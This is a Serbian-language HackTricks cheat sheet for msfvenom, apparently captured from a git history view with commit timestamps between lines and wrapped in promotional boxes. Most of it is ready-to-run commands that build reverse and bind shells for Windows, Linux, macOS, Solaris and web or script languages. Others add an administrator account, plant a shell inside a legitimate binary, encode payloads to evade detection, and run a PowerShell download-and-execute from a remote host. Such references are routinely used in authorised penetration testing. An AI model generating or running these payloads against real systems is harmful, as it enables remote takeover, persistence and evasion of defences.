hacktricks/generic-methodologies-and-resources/shells/msfvenom.md

225 lines
7.9 KiB
Markdown
Raw Normal View History

# MSFVenom - Šifarnik
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2023-12-30 20:49:23 +00:00
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
2024-02-10 13:11:20 +00:00
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
2024-02-10 13:11:20 +00:00
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
2023-02-27 09:28:45 +00:00
**Hakerski Uvidi**\
2024-02-10 13:11:20 +00:00
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
2022-11-05 09:07:43 +00:00
**Vesti o Hakovanju u Realnom Vremenu**\
2024-02-10 13:11:20 +00:00
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
2023-07-14 14:20:34 +00:00
**Najnovije Najave**\
Budite informisani o najnovijim programima nagrađivanja za pronalaženje bagova i bitnim ažuriranjima platformi
2023-07-14 14:20:34 +00:00
2024-02-10 13:11:20 +00:00
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
2023-07-14 14:20:34 +00:00
***
2023-02-27 09:28:45 +00:00
## Osnovno msfvenom
2020-11-11 00:39:24 +00:00
`msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>`
2024-02-10 13:11:20 +00:00
Takođe se može koristiti `-a` da se specificira arhitektura ili `--platform`
2023-03-05 19:54:13 +00:00
## Listing
```bash
msfvenom -l payloads #Payloads
msfvenom -l encoders #Encoders
```
## Uobičajeni parametri prilikom kreiranja shell koda
```bash
2024-02-10 13:11:20 +00:00
-b "\x00\x0a\x0d"
-f c
-e x86/shikata_ga_nai -i 5
EXITFUNC=thread
PrependSetuid=True #Use this to create a shellcode that will execute something with SUID
```
2023-03-05 19:54:13 +00:00
## **Windows**
### **Obrnuti školjka**
{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
```
2023-03-05 19:54:13 +00:00
### Bind Shell
{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
```
### Napravi korisnika
{% endcode %}
```bash
2020-11-09 22:18:10 +00:00
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
```
2023-03-05 19:54:13 +00:00
### CMD Shell
{% code overflow="wrap" %}
```bash
msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe
```
### **Izvršavanje komande**
2024-02-10 13:11:20 +00:00
{% code overflow="wrap" %}
```bash
2020-12-15 09:10:57 +00:00
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe
```
2024-02-10 13:11:20 +00:00
### Enkoder
{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
```
### Ugrađeno unutar izvršnog fajla
{% code overflow="wrap" %}
```bash
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe
```
## Linux Payloads
2023-03-05 19:54:13 +00:00
### Reverse Shell
{% code overflow="wrap" %}
```bash
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
```
2023-03-05 19:54:13 +00:00
### Bind Shell
{% code overflow="wrap" %}
```bash
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf
```
2023-03-05 19:54:13 +00:00
### SunOS (Solaris)
{% code overflow="wrap" %}
```bash
msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf
```
## **MAC Payloads**
2023-03-05 19:54:13 +00:00
### **Reverse Shell:**
{% code overflow="wrap" %}
```bash
msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho
```
2023-03-05 19:54:13 +00:00
### **Bind Shell**
{% code overflow="wrap" %}
```bash
msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho
```
## **Veb bazirani Payload-ovi**
2023-03-05 19:54:13 +00:00
### **PHP**
#### Obrnuti šel**l**
```bash
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
2020-11-09 22:18:10 +00:00
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
```
2023-03-05 19:54:13 +00:00
### ASP/x
#### Reverska ljuska
{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx
```
2023-03-05 19:54:13 +00:00
### JSP
#### Reverska ljuska
{% code overflow="wrap" %}
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp
```
### RAT
#### Reversni šel
{% endcode %}
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war
```
{% endcode %}
2023-03-05 19:54:13 +00:00
### NodeJS
```bash
2022-05-27 15:32:15 +00:00
msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
```
## **Skriptni jezički payload-ovi**
2023-03-05 19:54:13 +00:00
### **Perl**
{% code overflow="wrap" %}
```bash
msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl
```
{% endcode %}
2023-03-05 19:54:13 +00:00
### **Python**
{% code overflow="wrap" %}
```bash
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
```
2023-03-05 19:54:13 +00:00
### **Bash**
{% code overflow="wrap" %}
```bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh
```
{% endcode %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
2023-07-14 14:20:34 +00:00
2024-02-10 13:11:20 +00:00
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
2023-03-05 19:54:13 +00:00
2024-02-10 13:11:20 +00:00
**Hakerski uvidi**\
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
2023-02-27 09:28:45 +00:00
2024-02-10 13:11:20 +00:00
**Vesti o hakovanju u realnom vremenu**\
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
2023-02-27 09:28:45 +00:00
**Najnovije najave**\
Budite informisani o najnovijim lansiranjima nagrada za pronalaženje bagova i bitnim ažuriranjima platformi
2022-11-05 09:07:43 +00:00
2024-02-10 13:11:20 +00:00
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
2022-11-05 09:07:43 +00:00
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2023-12-30 20:49:23 +00:00
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
2024-02-10 13:11:20 +00:00
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>